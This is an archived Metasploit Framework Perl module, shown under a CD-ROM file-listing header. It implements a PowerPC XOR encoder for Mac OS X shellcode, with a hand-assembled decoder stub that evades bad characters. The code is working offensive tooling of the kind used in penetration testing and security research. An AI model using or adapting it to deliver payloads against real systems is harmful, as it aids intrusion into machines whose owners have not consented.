home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / encoders / QuackQuack.pm < prev    next >
Text File  |  2006-06-30  |  3KB  |  95 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Encoder::QuackQuack;
  11. use strict;
  12. use base 'Msf::Encoder';
  13. use Pex::Encoder;
  14.  
  15. my $advanced = 
  16. {
  17.  
  18. };
  19.  
  20. my $info = {
  21.     'Name'    => 'MacOS X PPC DWord Xor Encoder',
  22.     'Version' => '$Revision: 1.10 $',
  23.     'Authors' => [ 'optyx <optyx@uberhax0r.net>',
  24.                    'H D Moore <hdm [at] metasploit.com>' ],
  25.     'Arch'    => [ 'ppc' ],
  26.     'OS'      => [ 'osx' ],
  27.     'Description'  =>  "This is optyx's nifty ppc decoder with coherency tweaks by hdm",
  28.     'Refs'    => [ ],
  29. };
  30.  
  31. sub new {
  32.     my $class = shift; 
  33.     return($class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_));
  34. }
  35.  
  36. sub EncodePayload {
  37.     my $self     = shift;
  38.     my $payload  = shift;
  39.     my $badchars = shift;
  40.  
  41.     my $xor_key   = Pex::Encoding::XorDword->KeyScan($payload, $badchars);
  42.     my $xor_data  = Pex::Encoding::XorDword->Encode($xor_key, $payload);
  43.  
  44.     my $encoder = pack("N*", 
  45.         0x7c631a79,  # xor.      r3,r3,r3
  46.         0x4082fffd,  # bnel      0
  47.         0x7da802a6,  # mflr      r13
  48.         0x38c3e041,  # addi      r6,r3,-8127
  49.         0x39800440,  # li        r12,1088
  50.         0x39ad1fff,  # addi      r13,r13,8191
  51.         0x81cde045,  # lwz       r14,-8123(r13)
  52.         0x81ede041,  # lwz       r15,-8127(r13)
  53.         0x7def7278,  # xor       r15,r15,r14
  54.         0x91ede041,  # stw       r15,-8127(r13) 
  55.         0x7c0668ac,  # dcbf      r6,r13
  56.         0x7c0104ac,  # sync
  57.         0x7c066fac,  # icbi      r6,r13
  58.         0x4c01012c,  # isync    
  59.         0x39adfffc,  # addi      r13,r13,-4
  60.         0x398cfef0,  # addi      r12,r12,-272 
  61.         0x7d8c6379,  # mr.       r12,r12
  62.         0x4082ffd8,  # bne+      decode_loop
  63.         0x3be030ff,  # li        r31, 0x30ff
  64.          0x7fe04e70,  # srawi     r0, r31, 9
  65.         0x44ffff02,  # sc
  66.         0x7c631a79,  # xor.      r3,r3,r3
  67.         0x7c631a79,  # xor.      r3,r3,r3
  68.         0x7c631a79,  # xor.      r3,r3,r3
  69.     );
  70.  
  71.     my $icount = (length($payload) / 4);
  72.     my $enc;
  73.     
  74.     foreach my $scale (1 .. 65535) {
  75.         my $size = 8191 - length($payload);
  76.         $enc = $encoder;
  77.         
  78.         # happy fun time opcode patching
  79.         substr($enc, 14, 2, pack('n', -$size -4 + (22 * 4)));
  80.         substr($enc, 18, 2, pack('n', $scale * $icount));
  81.         substr($enc, 26, 2, pack('n', -$size + (22 * 4)));
  82.         substr($enc, 30, 2, pack('n', -$size -4 + (22 * 4)));
  83.         substr($enc, 38, 2, pack('n', -$size -4 + (22 * 4)));        
  84.         substr($enc, 62, 2, pack('n', -$scale));
  85.         if (Pex::Text::BadCharIndex($badchars, $enc) == -1) {
  86.             $enc .= $xor_data . pack('V', $xor_key);
  87.            last;
  88.         }
  89.         undef $enc;
  90.     }
  91.     return $enc;
  92. }
  93.  
  94. 1;
  95.